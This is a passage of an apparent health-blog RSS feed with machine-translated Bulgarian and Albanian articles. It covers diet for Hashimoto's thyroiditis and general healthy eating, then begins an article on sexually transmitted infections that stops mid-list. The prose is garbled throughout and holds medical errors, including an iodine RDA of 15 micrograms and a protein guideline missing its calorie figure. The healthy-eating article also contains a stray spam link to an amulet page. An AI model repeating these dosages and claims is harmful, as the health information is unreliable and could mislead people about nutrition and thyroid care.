<p> Важно е да се отбележи, че подобно на други автоимунни заболявания, Хашимото не се причинява нито от нито се излекува с диета. </p>
<h2 id="Какво трябва да ям за Хашимото?" name="Какво трябва да ям за Хашимото?"> Какво трябва да ям за Хашимото? </h2>
<p> Има някои важни съображения за хората, които имат Хашимото. Повечето се центрират около факта, че тези индивиди са по -склонни да имат недостиг на определени хранителни вещества или могат да претърпят ефекти от яденето на твърде малко (или твърде много) от някои. </p>
<p> йод </p>
<p> щитовидната жлеза използва йод, следен елемент и тирозин, аминокиселина, за да направи Т3. Така йодът, който е минерал, намиращ се в храна като риба и морски дарове, зърнени храни и млечни продукти, както и йодирана сол. </p>
<p> RDA за йод е 15 микрограма на ден, с изключение на бременността, когато е 220 микрограма и 290 микрограма за кърмене на жени. </p>
<p> Дефицитът на йод е доста рядък, но не винаги е бил такъв. Завършеното население в САЩ &#8211; особено в близост до Големите езера и в планината &#8211; това нямаше достъп до океана и морските дарове видяха повече дефицит на йод. Йод е добавен към нашата сол на трапезата през 1924 г., за да смекчи този въпрос. 88% от домакинствата по целия свят сега използват йодирана сол. </p>
<p> Когато човек не получи достатъчно йод в диетата си, щитовидната жлеза не може да синтезира Т3 и Т4, което води до хипотиреоидизъм. </p>
<p> Но ако имате хашимото, консумирането на твърде много йод всъщност може да влоши вашия хипотиреоид. Някои храни, като водорасли и морски водорасли (като тези закуски от морски водорасли) могат да бъдат супер високи в йод, а добавките, съдържащи йод, не са добра идея. </p>
<p> Други храни, съдържащи йод, като скариди, яйца и млечни продукти, са важни за поддържането на щитовидната си жлеза здрава-дори и с Хашимото. Номерът е балансът, а не да отрязвате йодни храни от диетата си. </p>
<p> selenium </p>
<p> selenium е следен минерал, за който може би сте чували във връзка с имунитета, но също така се използва от организма за приготвяне на ензим, който активира хормоните на щитовидната жлеза. </p>
<p> Препоръчителният ежедневен прием на селен е 55 микрограма на ден, а дефицитът на селен в Северна Америка е рядък. </p>
<p> Селенът се намира в морски дарове, месо, яйца, зърнени храни и бразилски ядки, които съдържат най -селен на грам, отколкото всяка друга храна. Само една бразилска гайка на ден ви получава необходимия селен! </p>
<p> Хронично ниското в селен може да причини хипотиреоид. </p>
<p> Някои проучвания са установили, че добавката на селен при хора с Хашимото намалява нивата на антитела на щитовидната жлеза (добро нещо), но е важно да се отбележи, че някои от тези хора може да са били дефицитни на селен. И наистина липсват доказателствата за добавки за селен, но това не означава, че не се нуждаете от селен за функция на щитовидната жлеза. </p>
<p> Не забравяйте да ядете богати на селен храни всеки ден. </p>
<p> goitrogens </p>
<p> Много хора с Хашимото са чували, че не трябва да ядат сурови кръстони като броколи, зеле, ряпа, зеле и брюкселско кълнове, както и соеви храни. Тези храни се наричат Goitrogens и се знае, че пречат на поглъщането на йод от щитовидната жлеза. Това може да направи нивата на йода ви ниски. </p>
<p> Втората половина на историята обаче е, че само хората, които вече са с ниски нива в йода, трябва да се притесняват за горогени. Ако вашите нива на йод са добри, можете да ядете почти всяка храна, която е класифицирана като Goitrogen, и да не се притеснявате за това. Готвенето на Goitrogens също денатира съединенията в тях, които причиняват проблеми с поемането на йод. </p>
<p> Милет, зърно, е единствената горогенна храна, която може да причини проблеми с поемането на йод в щитовидната жлеза, независимо от вашите нива на йод. Стойте далеч от него. </p>
<p> Витамин D </p>
<p> Изглежда, че има връзка между витамин D и Hashimoto. При хората с ниски нива на витамин D изглежда има отрицателна корелация с тежестта на тяхното заболяване. </p>
<p> Всъщност не знаем механизма зад това. </p>
<p> И все пак винаги е добра идея всеки да получи базово ниво на витамин D и да яде много D-съдържащи храни като млечни, риба и яйчни жълтъци. </p>
<p> D Добавката може да е полезно, ако не получите достатъчно витамин D от диетата си (1000IU е добър) и/или живеете в студен климат. </p>
<p> глутен </p>
<p> Възможно е да има някаква връзка между цьолиакия и болестта на щитовидната жлеза, включително на Хашимото. Но ако нямате чувствителност към целиакия или глутен, няма убедителни изследвания, които да показват ползите от диетата без глутен за проблеми с щитовидната жлеза. </p>
<p> Видях един тон алтернативни професионалисти (и дори някои RDS), които казват на всички с Хашимото да избегнат глутен. Не съм съгласен и мисля, че са необходими повече изследвания, преди да направим такива видове окончателни и бързи препоръки. </p>
<p> pfffft. Защо хората винаги са жертва на глутен? </p>
<h2 id="храни, които трябва да се избегнат за Хашимото" name="храни, които трябва да се избегнат за Хашимото"> храни, които трябва да се избегнат за Хашимото </h2>
<p> Не бих казал, че има конкретни храни, които трябва да избягвате (освен просо). Но кафе, фибри и калций могат да взаимодействат с някои лекарства на щитовидната жлеза, така че избягвайте да ги приемате заедно. </p>
<p> Има хора онлайн, които продават „естествени“ лекарства на щитовидната жлеза като десирана щитовидна жлеза, направена от животински тироиди. „Естественият“ обаче не означава „по -добре“. Тази добавка има комбинация от T3 и T4, която може да не е оптимална за вас, а нерегламентираните добавки може да не съдържат съставките, за които твърдят, че имат. Някои хора откриват, че десифицираната щитовидна жлеза е по -лесно да се толерира от левотироксин, а за някои това наистина работи, особено в комбинация с конвенционална терапия. Но е важно да разгледате рисковете, преди да поемете тези добавки. </p>
<p> Няма диета, която да излекува Хашимото, дори ако квак лекарите казват така. Но яденето на диета, която подхранва физически и емоционално, докато е богата на горните хранителни вещества, може да помогне за оптимизиране на здравето и функцията на щитовидната жлеза. </p>
<h3>Contents</h3>
<ul>
<li><a href="#Захарната индустрия">Захарната индустрия</a></li>
<li><a href="#Вашето здраве и захар">Вашето здраве и захар</a></li>
<li><a href="#И така ... Здраво ли е захарта за нас?">И така &#8230; Здраво ли е захарта за нас?</a>
<ul>
<li><a href="#Гладен за повече информация за храненето?">Гладен за повече информация за храненето?</a></li>
</ul>
</li>
<li><a href="#Какво е щитовидната жлеза?">Какво е щитовидната жлеза?</a></li>
<li><a href="#Какво причинява хипотиреоидизъм?">Какво причинява хипотиреоидизъм?</a></li>
<li><a href="#Какво е тиреоидит на Хашимото?">Какво е тиреоидит на Хашимото?</a></li>
<li><a href="#Какво трябва да ям за Хашимото?">Какво трябва да ям за Хашимото?</a></li>
<li><a href="#храни, които трябва да се избегнат за Хашимото">храни, които трябва да се избегнат за Хашимото</a></li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Si të ndiqni një dietë të shëndetshme</title>
		<link>https://gtfareast.com/wp/2023/01/10/si-te-ndiqni-nje-diete-te-shendetshme/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 10 Jan 2023 21:30:00 +0000</pubDate>
				<category><![CDATA[healthblog]]></category>
		<guid isPermaLink="false">https://gtfareast.com/wp/?p=544</guid>

					<description><![CDATA[Si të ndiqni një dietë të shëndetshme Një dietë e shëndetshme do të thotë të hahet ushqime të dendura ushqyese, në sasitë e duhura, nga të gjitha grupet kryesore të ushqimit. Njerëzit shpesh mendojnë për &#34;një dietë&#34; si një plan specifik për humbjen e peshës, por dieta thjesht i referohet llojeve dhe sasive të ushqimit&#8230; <a class="more-link" href="https://gtfareast.com/wp/2023/01/10/si-te-ndiqni-nje-diete-te-shendetshme/">Continue reading <span class="screen-reader-text">Si të ndiqni një dietë të shëndetshme</span></a>]]></description>
										<content:encoded><![CDATA[<h1> Si të ndiqni një dietë të shëndetshme </h1>
<p> Një dietë e shëndetshme do të thotë të hahet ushqime të dendura ushqyese, në sasitë e duhura, nga të gjitha grupet kryesore të ushqimit. </p>
<p> Njerëzit shpesh mendojnë për &quot;një dietë&quot; si një plan specifik për humbjen e peshës, por dieta thjesht i referohet llojeve dhe sasive të ushqimit që një person ha. </p>
<p> Një dietë e shëndetshme duhet të përfshijë një ekuilibër të disa grupeve ushqimore, pasi asnjë grup i vetëm nuk mund të sigurojë gjithçka që i nevojitet trupit për shëndet të mirë.<span id="more-544"></span> </p>
<p> Bërja e zgjedhjeve të shëndetshme të ushqimit zvogëlon rrezikun e një personi nga shumë kushte shëndetësore kronike, përfshirë sëmundjet kardiovaskulare, diabetin tip 2 dhe kancerin. </p>
<p> Ekzistojnë një informacion i pasur në dispozicion, kështu që hartimi i një diete të përshtatshme, të shëndetshme mund të ndjehet dërrmuese. Thënë kështu, disa ndryshime të thjeshta mund ta bëjnë një dietë më ushqyese dhe të zvogëlojë rrezikun e shumë problemeve mjekësore. </p>
<h2> isfarë është ngrënia e shëndetshme? </h2>
<p> Të kesh një dietë të ekuilibruar do të thotë të hae ushqime nga të gjitha grupet kryesore të ushqimit në sasitë e duhura. Këto grupe ushqimore janë: </p>
<ul>
<li> Kokrra të plota </li>
<li> Frutat </li>
<li> Perimet </li>
<li> Proteina </li>
<li> Bulmeti </li>
<li> Yndyrnat </li>
</ul>
<p> Seksionet e mëposhtme diskutojnë zgjedhje të shëndetshme nga këto grupe ushqimore. </p>
<h2> kokrra të plota </h2>
<p> kokrra të plota janë produkte të bëra nga e gjithë kokrra, e cila përfshin mikrobin dhe krunde. Në të kundërt, kokrrat e rafinuara përmbajnë vetëm një pjesë të kokrrës. </p>
<p> Ushqimet me grurë të tërë kanë përfitime të shkëlqyera shëndetësore. Një meta-analizë nga viti 2016 shikoi 45 studime të ndryshme, duke konkluduar se një konsum i lartë i kokrrave të plota ndihmon në mbrojtjen nga shumë kushte shëndetësore, me përfitime që përfshijnë sa vijon: </p>
<ul>
<li> Një rrezik më i ulët i sëmundjes së zemrës së zemrës </li>
<li> Një rrezik më i ulët i sëmundjes kardiovaskulare </li>
<li> Një rrezik total më i ulët i kancerit </li>
<li> Vdekshmëria e zvogëluar e të gjitha shkaqeve </li>
</ul>
<p> kokërr e tërë Ushqimet janë të pasura me fibra dhe janë burime të mira të vitaminave B dhe minerale gjurmë, përfshirë hekurin, zinkun dhe magnezin. Kokrrat humbasin pjesën më të madhe të pronave të tyre të shëndetshme nëse ata kanë kaluar një proces rafinimi. </p>
<p> Shembuj të kokrrave të plota janë: </p>
<ul>
<li> Bukë e plotë </li>
<li> makaronat e grurit të tërë </li>
<li> Drithëra të plota, të tilla si tërshëra </li>
<li> Misri </li>
</ul>
<p> nën informacionin ushqyes. </p>
<h2> Frutat dhe perimet </h2>
<p> Frutat dhe perimet janë të pasura me vitamina, minerale dhe fibra. Sipas Shoqatës Amerikane të Zemrës (AHA), zgjedhja e një larmi frutash dhe perimesh shumëngjyrësh është mënyra më e mirë për të marrë të gjitha vitaminat dhe mineralet që i duhen trupit. </p>
<p> AHA rekomandon mbushjen e gjysmës së pjatës me fruta ose perime për çdo vakt, duke përbërë 4.5 gota të çdo dite. Kjo sasi mund të përfshijë varietete të freskëta, të ngrira dhe të konservuara. </p>
<p> Për përfitimet më shëndetësore, njerëzit mund të kontrollojnë etiketat e produkteve dhe të shmangin produkte të konservuara, të ngrira ose të thata me sheqerna të lartë ose sheqerna të shtuar. Lëngjet </p>
<p> të etiketuara &quot;100%&quot; janë pjesë e këtij grupi ushqimor, por ngrënia e frutave ose perimeve të tëra është më e mirë, pasi ato do të ofrojnë më shumë fibra. </p>
<p> Qendrat për Kontrollin dhe Parandalimin e Sëmundjeve raportojnë se një dietë e lartë në fruta dhe perime mund të ndihmojë në programet e menaxhimit të peshës. CDC gjithashtu lidh këtë lloj diete me një rrezik më të ulët të shumë kushteve, duke përfshirë: </p>
<ul>
<li> Sëmundjen e zemrës </li>
<li> Diabeti </li>
<li> Presioni i lartë i gjakut </li>
<li> Disa kancere </li>
</ul>
<p> Të gjitha frutat dhe perimet kanë përfitime shëndetësore, dhe profesionistët e kujdesit shëndetësor rekomandojnë që njerëzit të konsumojnë një larmi të gjerë. Lexoni në lidhje me frutat kryesore të shëndetshme dhe perimet më të shëndetshme këtu. Proteina </p>
<h2> proteina </h2>
<p> Proteina është një makronutrient i rëndësishëm që çdo qelizë në trup ka nevojë. Ndihmon në ndërtimin dhe riparimin e qelizave dhe indeve të trupit, përfshirë lëkurën, flokët, muskujt dhe kockën. Proteina është gjithashtu e rëndësishme për koagulimin e gjakut, përgjigjet e sistemit imunitar, hormonet dhe enzimat. </p>
<p> Shumë ushqime të pasura me proteina gjithashtu përmbajnë nivele të larta të mineraleve, duke përfshirë hekurin, magnezin dhe zinkun. Proteina </p>
<p> ndodh në ushqimet e kafshëve dhe bimëve. Burimet e kafshëve përfshijnë mish, peshk dhe vezë. Fasulet, arrat dhe soja janë opsione proteine për ata që ndjekin një dietë vegan ose vegjetariane. </p>
<p> Një udhëzues i përgjithshëm nga Administrata e Ushqimit dhe Barnave (FDA) rekomandon që njerëzit të marrin 50 gram (g) proteina në ditë në një dietë kalori. Nevojat individuale të proteinave do të ndryshojnë, megjithatë, në varësi të niveleve të aktivitetit të një personi dhe peshës. Një dietë e shëndetshme duhet të përfshijë një gamë të ushqimeve proteinike. </p>
<p> Lexoni më shumë rreth dietave të larta të proteinave dhe burimeve të bazuara në bimë të proteinave. </p>
<h2> qumështi </h2>
<p> Produktet e qumështit mund të jenë burime të shkëlqyera të kalciumit. Një dietë e pasur me kalcium promovon kocka dhe dhëmbë të shëndetshëm. </p>
<p> Sipas Departamentit të Bujqësisë së Sh.B.A -së (USDA), grupi i ushqimit të qumështit përmban: </p>
<ul>
<li> Produkte të qumështit të lëngut </li>
<li> Ushqimet e bëra nga qumështi që mbajnë Përmbajtja e tyre e kalciumit, të tilla si kos dhe djathë </li>
<li> soje të fortifikuara të kalciumit, ose pije soje </li>
</ul>
<p> Ushqime me bazë qumështi që nuk mbajnë kalcium, siç është kremi, krem Djathi, dhe gjalpi, nuk janë pjesë e këtij grupi ushqimor. </p>
<p> USDA sugjeron që njerëzve mund të kenë nevojë për 2-3 gota produkte të qumështit në ditë. </p>
<p> Ekzistojnë disa polemika nëse bulmeti është i mirë apo i keq për ju. </p>
<p> Zgjidhni versione të ulëta me yndyrë ose pa yndyrë të produkteve të qumështit, të tilla si qumësht dhe jogurts, për të përfituar shëndetin e zemrës. Sidoqoftë, konsumimi i qumështit nuk është i nevojshëm për të qenë i shëndetshëm, për sa kohë që njerëzit marrin lëndë ushqyese thelbësore, siç është kalciumi, nga burimet jo të mira. Alternativa e qumështit mund të jetë pjesë e një diete të shëndetshme. Yndyrnat </p>
<h2> yndyrnat </h2>
<p> Yndyrnat janë një pjesë thelbësore e një diete të shëndetshme. Yndyrnat janë të domosdoshme për funksionimin e sistemit nervor, energjinë, thithjen e vitaminave të caktuara, dhe për lëkurën, flokët dhe shëndetin e nyjeve. </p>
<p> Yndyrnat ndodhin si në ushqimet e kafshëve ashtu edhe në bimët. Ekzistojnë disa lloje kryesore të yndyrnave, dhe disa janë më të shëndetshëm se të tjerët: </p>
<ul>
<li> Yndyrnat e monosaturuara dhe të pangopura janë yndyrnat e shëndetshme që mund të forcojnë shëndetin e zemrës. Burime të mira përfshijnë avokadot, peshkun, arrat, farat dhe ullinjtë. </li>
<li> Yndyrnat e ngopura dhe yndyrnat trans mund të rrisin kolesterolin total të kolesterolit dhe lipoproteinës me densitet të ulët (LDL) ose kolesterolit &quot;të keq&quot;. LDL mund të rrisë rrezikun e sëmundjes së zemrës. Yndyrnat e ngopura zakonisht vijnë nga produkte shtazore, duke përfshirë krem, mish yndyror dhe ushqime të skuqura. </li>
</ul>
<p> FDA rekomandon që njerëzit të marrin 78 g yndyrë në ditë në një dietë prej 2,000 kalori. Njerëzit duhet të synojnë të marrin më pak se 10% të kalorive të tyre të përditshme nga yndyrnat e ngopura. </p>
<p> Lexoni për ushqime të shëndetshme me yndyrë të lartë. </p>
<h2> Këshilla </h2>
<p> së bashku me zgjedhjen e ushqimeve të shëndetshme nga secili grup ushqimor, këshillat e mëposhtme do të ndihmojnë një person të ndjekë një dietë të shëndetshme. </p>
<h3> Këshillë 1: Menaxhoni madhësinë e porcionit </h3>
<p> Njerëzit e moshave, gjinive dhe niveleve të ndryshme të aktivitetit kanë nevojë për sasi të ndryshme të ushqimit, por shumë njerëz marrin më shumë energji sesa përdorin. Hulumtimi sugjeron që madhësia e porcionit është një faktor kryesor, dhe pjesët më të mëdha se sa të nevojshme çojnë në shtim në peshë. </p>
<p> AHA shpjegon se një pjesë është ajo që një person zgjedh të hajë, ndërsa një shërbim është sasia e listës së prodhuesve të ushqimit në etiketën e fakteve ushqyese. </p>
<p> Shembuj të servings janë një pjesë e bukës dhe një pykë pjepër. Raporti i AHS që madhësitë e pjesëve në restorante janë rritur në mënyrë dramatike me kalimin e viteve. </p>
<p> duke i kushtuar vëmendje asaj që është një shërbim, sa kalori ka në të, dhe sa ushqim që një person po ha mund të bëjë ndryshimin midis mbipeshes dhe mbajtjes së një peshe të shëndetshme. </p>
<h3> Këshillë 2: Hani të freskëta dhe shmangni të përpunuar </h3>
<p> Sipas një studimi të vitit 2018, ushqimet ultra të përpunuara mund të përbëjnë 60% të kalorive që njerëzit hanë në Sh.B.A. </p>
<p>Ushqimet e freskëta ka më shumë të ngjarë të jenë &quot;të pasura me lëndë ushqyese&quot;, ndërsa ushqimet e përpunuara shpesh janë &quot;të pasura me energji&quot; nga yndyrnat e shtuara dhe sheqernat. Ushqimet e përpunuara jo vetëm që përmbajnë përbërës të shtuar, përfshirë ngjyra dhe preservatives, por vetë përpunimi mund të shkatërrojë lëndët ushqyese. </p>
<p> Ushqimet e plota, të tilla si frutat e freskëta, janë një burim i mirë i vitaminave dhe mineraleve. Shumë ushqime të përpunuara përmbajnë pak vlerë ushqyese. Konsumimi i një pjese të lartë të ushqimeve të përpunuara mund të rrisë rrezikun e sëmundjeve të zemrës dhe diabetit. </p>
<h3> Këshillë 3: Kufizoni sheqernat e shtuar </h3>
<p> Shtimi i sheqerit në ushqime dhe pije rrit aromën, por shton pak ose aspak vlerë ushqyese. Shumë njerëz në Sh.B.A hanë shumë sheqerna të shtuar, duke çuar në shtim në peshë, diabet tip 2 dhe sëmundje të zemrës. Në të kundërt, sheqernat që ndodhin natyrisht mund të kenë përfitime shëndetësore. Këto përfshijnë fruktozën nga frutat dhe laktoza nga produktet e qumështit. </p>
<p> AHA rekomandon që njerëzit të konsumojnë jo më shumë se 25 g sheqerna të shtuar për femrat dhe 36 g për meshkujt. Kjo sasi nuk përfshin sheqerna që ndodhin natyrisht, vetëm sheqerna të shtuar. &gt; Condiments, siç është Ketchup, gjithashtu mund të shtojnë më shumë kalori sesa një person i realizon. </p>
<p> Zëvendësimi i sodës së ëmbël me ujë të gazuar dhe pirja e alkoolit në moderim mund të zvogëlojë më tej kaloritë e tepërta. CDC rekomandon të kufizoni marrjen e alkoolit në një pije në ditë për femrat dhe dy pije në ditë për meshkujt. </p>
<p> Gjeni këshilla për prerjen e sheqerit këtu. </p>
<h3> Këshillë 4: Zëvendësoni yndyrnat e kafshëve në dietë </h3>
<p> <a href="https://harmoniqhealth.com/al/money-amulet/">https://harmoniqhealth.com/al/</a> </p>
<p> Prodhimi i kafshëve është shpesh i lartë në yndyrna të ngopura dhe përfshin mish të kuq, gjalpë, djathë dhe krem. Yndyrnat e ngopura janë të vështira që trupi të prishet, kështu që nivelet e kolesterolit të dëmshëm mund të rriten, duke rritur rrezikun e sëmundjeve të zemrës. </p>
<p> AHA rekomandon të zëvendësoni ushqime të larta në yndyrna të ngopura me mundësi më të shëndetshme për të ulur kolesterolin dhe për të përmirësuar profilin e yndyrës së trupit. Yndyrnat e shëndetshme, të pangopura janë në peshk dhe arra me vaj. </p>
<p> Për të zvogëluar sasinë e yndyrës jo të shëndetshme në dietë: </p>
<ul>
<li> Zgjidhni mish të ligët, siç janë shpendët </li>
<li> Zgjidhni produkte të qumështit me yndyrë të ulët </li>
<li> gatuaj mish dhe pulë pa lëkurë </li>
<li> Kufizoni marrjen e mishit të kuq </li>
<li> Grill ose ziej mish në vend që të skuqem </li>
<li> Përdorni vaj perimesh sesa yndyrë shtazore </li>
<li> Zëvendësoni disa shërbime të mishit me peshk me vaj, arra, fasule ose bishtajore </li>
</ul>
<p> Në kripë, lidhet drejtpërdrejt me presionin e lartë të gjakut sepse rrit mbajtjen e ujit. Kaliumi mund të kundërshtojë efektet e dëmshme të kripës, kështu që ngrënia më pak natrium dhe më shumë kalium është një ndryshim që mund të forcojë shëndetin e zemrës. </p>
<p> Bananet, ton dhe kungull butternut janë burime të mira të kaliumit. Shumë kalium mund të çojë në ritme të parregullta të zemrës, megjithatë, në mënyrë që njerëzit të flasin me mjekun e tyre ose praktikuesit e tjerë të kujdesit shëndetësor përpara se të përdorin shtesa. </p>
<p> Kufizimi i marrjes së ushqimeve të përpunuara do të zvogëlojë marrjen e natriumit, pasi prodhuesit shtojnë kripë gjatë përpunimit. Pjesa më e madhe e natriumit në dietën amerikane vjen nga ushqimi i përpunuar dhe restoranti, me relativisht pak që vijnë nga gatimi ose kripa e tryezës. </p>
<p> Për të mbajtur aromën kur prerë kripën, provoni të hani ushqime me barishte, të tilla si borziloku, rozmarina, hudhra, rigoni, paprika, dhe kajani, ose kondicionerët e ulët të kripës, të tilla si mustarda e verdhë. Njerëzit gjithashtu mund të blejnë erëza të ulëta natriumi. </p>
<h3> Këshillë 6: Shtoni kalciumin dhe vitaminën D </h3>
<p> Kalciumi është thelbësor për forcimin dhe mirëmbajtjen e strukturës së kockave. Vitamina D ndihmon trupin të thithë kalciumin. </p>
<p> Ndërsa bulmeti është burimi më i njohur, ka shumë burime të bazuara në bimë të kalciumit. </p>
<p> Burimet e mira të kalciumit përveç qumështit përfshijnë: </p>
<ul>
<li> Farërat Chia </li>
<li> zarzavatet e kollareve </li>
<li> Fasulet e bardha </li>
</ul>
<p> Burimet dietike nuk ofrojnë mjaft vitaminë D për trupin. Drita e diellit është e nevojshme për të ndihmuar trupin të sintetizojë vitaminën D. </p>
<p> Ekspozimi i lëkurës së zhveshur në rrezet e diellit çdo ditë do të ndihmojë në ruajtjen e niveleve të kalciumit, dhe vitamina D. Këtu janë disa këshilla për të marrë më shumë vitaminë D. </p>
<h2> Përmbledhje </h2>
<p> Dietat më të shëndetshme përfshijnë ngrënien e një larmie ushqimesh të dendura ushqyese nga të gjitha grupet kryesore të ushqimit, duke përfshirë frutat, perimet, kokrrat e plota, burimet e proteinave dhe yndyrnat e shëndetshme. </p>
<p> Marrja e ekuilibrit të duhur të natriumit dhe kaliumit do të ndihmojë në kujdesin e zemrës, dhe ulja e ushqimeve të pasura me natrium dhe të përpunuara mund të zvogëlojë rrezikun e kushteve shëndetësore kronike. </p>
<p> Për rezultate më të mira, njerëzit janë më të mirët të ndjekin gjithmonë një dietë të shëndetshme së bashku me një mënyrë jetese aktive. </p>
<ul>
<li> Shëndeti publik </li>
<li> Ushqyerja/dieta </li>
<li> Obeziteti/humbja e peshës/fitnesi </li>
</ul>
<p> Lajmet mjekësore sot kanë udhëzime të rrepta ndihmuese dhe tërheq vetëm nga studimet e rishikuara nga bashkëmoshatarët, institucionet e kërkimit akademik dhe revistat dhe shoqatat mjekësore. Ne shmangim përdorimin e referencave terciare. Ne i lidhim burimet parësore &#8211; përfshirë studimet, referencat shkencore dhe statistikat &#8211; brenda secilit artikull dhe gjithashtu i rendisim ato në seksionin e burimeve në fund të artikujve tanë. Ju mund të mësoni më shumë rreth asaj se si ne sigurojmë që përmbajtja jonë është e saktë dhe aktuale duke lexuar politikën tonë editoriale </p>
<p><!-->. </p>
<ul>
<li> Proteina. (2020) .https: //www.accessdata.fda.gov/scriptts/interactivenutrtitionfactslabel/assets/interactiven </li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>STDS: Как да получите такъв?</title>
		<link>https://gtfareast.com/wp/2022/09/11/stds-%d0%ba%d0%b0%d0%ba-%d0%b4%d0%b0-%d0%bf%d0%be%d0%bb%d1%83%d1%87%d0%b8%d1%82%d0%b5-%d1%82%d0%b0%d0%ba%d1%8a%d0%b2/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sun, 11 Sep 2022 06:58:00 +0000</pubDate>
				<category><![CDATA[healthblog]]></category>
		<guid isPermaLink="false">https://gtfareast.com/wp/?p=478</guid>

					<description><![CDATA[STDS: Как да получите такъв? Инфекции, предавани по полов път (STI), може да премине от човек на човек чрез няколко вида сексуален контакт. вместо да използва по -стария термин , Сексуално предавани болести (ППБ), лекарите сега са склонни да се отнасят към &#34;ППИС&#34;. STIS обикновено предават чрез пениса и вагина секс, но те също могат&#8230; <a class="more-link" href="https://gtfareast.com/wp/2022/09/11/stds-%d0%ba%d0%b0%d0%ba-%d0%b4%d0%b0-%d0%bf%d0%be%d0%bb%d1%83%d1%87%d0%b8%d1%82%d0%b5-%d1%82%d0%b0%d0%ba%d1%8a%d0%b2/">Continue reading <span class="screen-reader-text">STDS: Как да получите такъв?</span></a>]]></description>
										<content:encoded><![CDATA[<h1> STDS: Как да получите такъв? </h1>
<p> Инфекции, предавани по полов път (STI), може да премине от човек на човек чрез няколко вида сексуален контакт. </p>
<p> вместо да използва по -стария термин , Сексуално предавани болести (ППБ), лекарите сега са склонни да се отнасят към &quot;ППИС&quot;. </p>
<p> STIS обикновено предават чрез пениса и вагина секс, но те също могат да преминат чрез анален секс, орален секс, и , рядко, целуване с отворена уста. </p>
<p> STI са много често срещани. Центровете за контрол и превенция на заболяванията (CDC) изчисляват, че през 2018 г.<span id="more-478"></span> е имало повече от 2 милиона случая на ППИ. </p>
<p> Някои хора може да не изпитват повече от леки симптоми. Човек може да не знае, че има STI. </p>
<p> Възрастните сексуално активни трябва да претърпят редовни тестове за ППИ, за да поддържат скоростта на предаване възможно най -ниска. Колкото повече човек знае за ППИ, толкова по -добре се подготвят за превенция. </p>
<p> В тази статия научете повече за някои общи ППИ, включително процедури за предаване, тестване и възможности за лечение. </p>
<h2 id="Обикновените ППБ" name="Обикновените ППБ"> Обикновените ППБ </h2>
<p> Полът, етническата принадлежност на човек не ги правят повече или по -малко вероятно да се заразят с STI. Всеки, който е сексуално активен, има риск от развитие на този тип инфекция. </p>
<p> Някои общи ППИ включват: </p>
<ul>
<li> Човешки папиломавирус (HPV) </li>
<li> Хепатит B </li>
<li> Възпалително заболяване на тазовото (PID) </li>
<li> раци или срамни въшки </li>
<li> Contagiosum Molluscum </li>
</ul>
<p> симптоми, причини, Рисковите фактори и лечението варират в зависимост от вида на ППИ. </p>
<p> Научете повече за общата ППИ с това ръководство за симптоми. </p>
<h2 id="Предаване" name="Предаване"> Предаване </h2>
<p> STI може да предаде:</p>
<ul>
<li> Директен контакт с лезия или възпаление </li>
<li> Затворен личен контакт, в случай на срамни въшки </li>
<li> Излагане на кръв, която съдържа инфекциозния агент </li>
<li> Контакт с вагинална течност или сперма </li>
<li> Споделянето на игли </li>
</ul>
<p> Има три категории ППИ: </p>
<p> Различни телесни течности, като вагинални секрети, сперма, слюнка и кръв съдържат бактериите или вирусите. В някои случаи човек може да зарази STI, като влезе в пряк контакт с течност, която съдържа бактериите или вируса. </p>
<p> За да избегне контакт с тази течност по време на перорален, анал или вагинален секс, използвайте презервативи или зъбни язовири. </p>
<p> Други ППИ, като херпес, могат да преминат чрез директен контакт с кожа-кожа, като например през устния, анален или вагинален секс. It may transmit from the mouth to the genitals, for example, during oral sex.</p>
<p>STIs such as HIV and hepatitis can transmit through contact with infected blood, when sexual partners have open sores, for example, or when Хората споделят игли. </p>
<p> Паразитните STI, като срамни въшки, могат да предадат чрез близък личен контакт, преминавайки от срамната коса на един човек към този на друг. Те могат също да предават чрез чаршафи или дрехи, които са били близки до срамната коса на човек. </p>
<p> Научете повече за STI и орален секс тук. </p>
<h2 id="Рискови фактори и профилактика" name="Рискови фактори и профилактика"> Рискови фактори и профилактика </h2>
<p> Няколко фактора могат да увеличат риска от заразяване с STI и е важно да ги избягвате. </p>
<p> За да се предотврати предаването на ППИ, опитайте: </p>
<ul>
<li> Използване на презерватив или зъбен язовир: Те могат значително да намалят риска от директен контакт с лезия или течност, която носи инфекциозен агент. </li>
<li> Използване на смазки на водна основа: Маслените смазочни материали могат да причинят счупване на презервативите. </li>
<li> Поддържайки се на STI тестове: Редовното тестване е важно, особено преди да правите секс с нов партньор. </li>
<li> Получаването на ваксинации: наличието на ваксини, които предпазват от състояния като хепатит и HPV, е добра идея.</li>
<li> Избягвайки употребата на наркотици и алкохол: Тези вещества могат да увеличат вероятността от поведение, която е рисковано от здравна гледна точка. </li>
<li> Предприемане на допълнителни предпазни мерки или избягване на секс с хора, които използват инжектиране Ecced лекарства: Човек, който употребява инжектирани лекарства, е по -вероятно да има ППИ като ХИВ или хепатит. </li>
</ul>
<p> Също така си струва да се отбележи, че рискът от STI се увеличава с броя на сексуалните партньори. Човек, който прави секс само с изключителен сексуален партньор, има по -нисък риск от заразяване с тези инфекции. </p>
<p> Вземането на изброените по -горе мерки може да намали риска от предаване или свиване на договаряне, но те не са гаранция. </p>
<p> Важно е да говорите с човек за тяхната сексуална история, преди да правите какъвто и да е секс с тях. Може да е добра идея за новите партньори да се подлагат на тестване, преди да започнат да правят секс. </p>
<h2 id="Тестването" name="Тестването"> Тестването </h2>
<p> подложени на тестване за STIS е добра идея за всеки, който има: </p>
<ul>
<li> Нов сексуален партньор </li>
<li> Прави секс с множество партньори </li>
<li> Всякакви симптоми на STI </li>
</ul>
<p> Заслужава да се отбележи, Въпреки това, че нито един STI тест не е напълно точен. Освен това няма налични тестове за определени ППИ и някои хора с тези инфекции не развиват симптоми или го правят само след продължителен период. </p>
<p> Всеки, който смята, че може да има STI, трябва да има тест. Ако резултатите са отрицателни, добре е да се повтаря скоро. </p>
<p> За да проверите за STI, лекар може да тества: </p>
<ul>
<li> Кръв </li>
<li> урина </li>
<li> Други течности </li>
</ul>
<h2 id="лечение" name="лечение"> лечение </h2>
<p> Най -добрият курс на лечение зависи от вида на STI. Лечението може да облекчи симптомите, да им попречи отново да се разпалят или да излекуват инфекцията. </p>
<p> Важно е да запомните, че STI може да премине на партньор по време на лечението. </p>
<p> Някои често срещани често срещани често Леченията включват: </p>
<ul>
